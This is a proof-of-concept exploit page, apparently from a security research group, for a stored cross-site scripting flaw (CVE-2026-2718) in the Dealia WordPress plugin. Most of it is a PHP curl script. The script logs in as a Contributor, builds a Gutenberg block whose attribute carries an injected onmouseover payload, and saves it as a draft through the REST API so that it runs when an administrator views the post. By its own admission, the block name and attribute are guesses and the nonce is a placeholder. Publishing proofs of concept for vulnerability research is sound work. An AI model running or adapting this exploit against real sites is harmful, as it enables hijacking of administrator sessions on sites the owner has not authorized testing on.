CVE-2026-2718: Dealia <= 1.0.8 – Authenticated (Contributor+) Stored Cross-Site Scripting via Gutenberg Block Attributes (dealia-request-a-quote)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2718 - Dealia <= 1.0.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via Gutenberg Block Attributes
<?php
/*
This PoC simulates an authenticated Contributor user injecting an XSS payload into a Gutenberg block attribute.
Assumptions:
1. The target site has the Dealia plugin (<=1.0.8) installed.
2. We have valid Contributor-level credentials.
3. The plugin provides a Gutenberg block with vulnerable attributes.
4. The exact block name and attribute parameter are unknown from metadata, so we target a common pattern.
Steps:
1. Authenticate via wp-login.php to obtain cookies.
2. Create a new post as a draft to host the malicious block.
3. Inject a block with a malicious attribute payload.
4. The payload will execute when an admin views the post.
*/

$target_url = 'https://example.com'; // CHANGE THIS
$username = 'contributor_user'; // CHANGE THIS
$password = 'contributor_pass'; // CHANGE THIS

// Payload: Close the attribute and inject an event handler.
// Using a simple alert for demonstration.
$malicious_attribute_value = '" onmouseover="alert(`Atomic Edge XSS: ${document.domain}`)';

// Since the exact block structure is unknown, we attempt a generic block insertion.
// WordPress stores block content as a serialized HTML comment with JSON attributes.
$block_name = 'dealia/request-quote'; // Inferred from plugin slug
$block_attributes_json = json_encode(['someAttribute' => $malicious_attribute_value]);
$block_content = "<!-- wp:{$block_name} {$block_attributes_json} /-->";

$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Step 1: Authenticate
$login_url = $target_url . '/wp-login.php';
$post_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
$response = curl_exec($ch);

// Step 2: Create a new post draft and retrieve a nonce for the REST API.
// First, get the nonce from the editor page.
$editor_url = $target_url . '/wp-admin/post-new.php';
curl_setopt($ch, CURLOPT_URL, $editor_url);
curl_setopt($ch, CURLOPT_HTTPGET, true);
$response = curl_exec($ch);

// Extract a REST nonce from the page (simplified pattern).
// In a real scenario, you would parse the HTML for `wpApiSettings.nonce`.
// For this PoC, we assume the nonce is retrieved; we use a placeholder.
$rest_nonce = 'REST_NONCE_PLACEHOLDER';

// Step 3: Use the REST API to create a post with the malicious block.
$rest_url = $target_url . '/wp-json/wp/v2/posts';
$post_data = [
    'title' => 'Test Post with XSS',
    'content' => $block_content,
    'status' => 'draft'
];
$headers = [
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $rest_nonce
];
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$response = curl_exec($ch);
curl_close($ch);

echo "PoC execution attempted. If successful, a draft post contains the XSS payload.n";
echo "View the post as an administrator to trigger the payload.n";
?>